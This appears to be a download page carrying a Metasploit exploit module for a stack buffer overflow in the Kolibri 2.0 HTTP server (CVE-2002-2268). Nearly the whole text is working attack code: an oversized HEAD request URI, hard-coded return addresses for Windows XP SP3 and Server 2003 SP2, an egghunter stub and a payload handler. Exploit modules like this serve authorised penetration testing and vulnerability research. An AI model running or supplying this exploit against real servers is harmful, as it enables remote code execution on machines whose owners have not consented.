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Kolibri ⇐ v2.0 HTTP server head request stack buffer overflow vulnerability download
##
# $Id: kolibri_http.rb 13967 2011-10-17 03:49:49Z todb $

##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = GoodRanking

        HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }

        include Msf::Exploit::Remote::HttpClient
        include Msf::Exploit::Egghunter

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
                        'Description'    => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
                        'Author'         =>
                                        [
                                                'mr_me <steventhomasseeley@gmail.com>', # msf
                                                'TheLeader',                            # original exploit
                                                'sinn3r',                               # msf commit
                                        ],
                        'Version'        => '$Revision: 13967 $',
                        'References'     =>
                                [
                                        [ 'CVE', '2002-2268' ],
                                        [ 'OSVDB', '70808' ],
                                        [ 'BID', '6289' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],
                                ],
                        'Privileged'     => false,
                        'Payload'        =>
                                {
                                        'Space'       => 3000,
                                        'DisableNops' => true,
                                        'BadChars'    => "\x00\x0d\x0a\x3d\x20\x3f",
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        [ 'Windows XP sp3',          { 'Ret' => 0x7E429353 } ] ,
                                        [ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
                                ],
                        'DisclosureDate' => 'Dec 26 2010',
                        'DefaultTarget'  => 0))
        end

        def check
                info = http_fingerprint
                if info and (info =~ /kolibri-2\.0/)
                        return Exploit::CheckCode::Vulnerable
                end
                Exploit::CheckCode::Safe
        end

        def exploit
                #7E429353    FFE4            JMP     ESP
                # For a reliable and large payload, we use an egg hunter
                # and direct RET to execute code
                print_status("Sending request...")
                eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
                sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
                sploit << eh_stub
                send_request_raw({
                        'uri'     => "/" + sploit,
                        'version' => '1.1',
                        'method'  => 'HEAD',
                        'headers' => {'Content-Type' => eh_egg},
                })

                handler
        end

end
example usage
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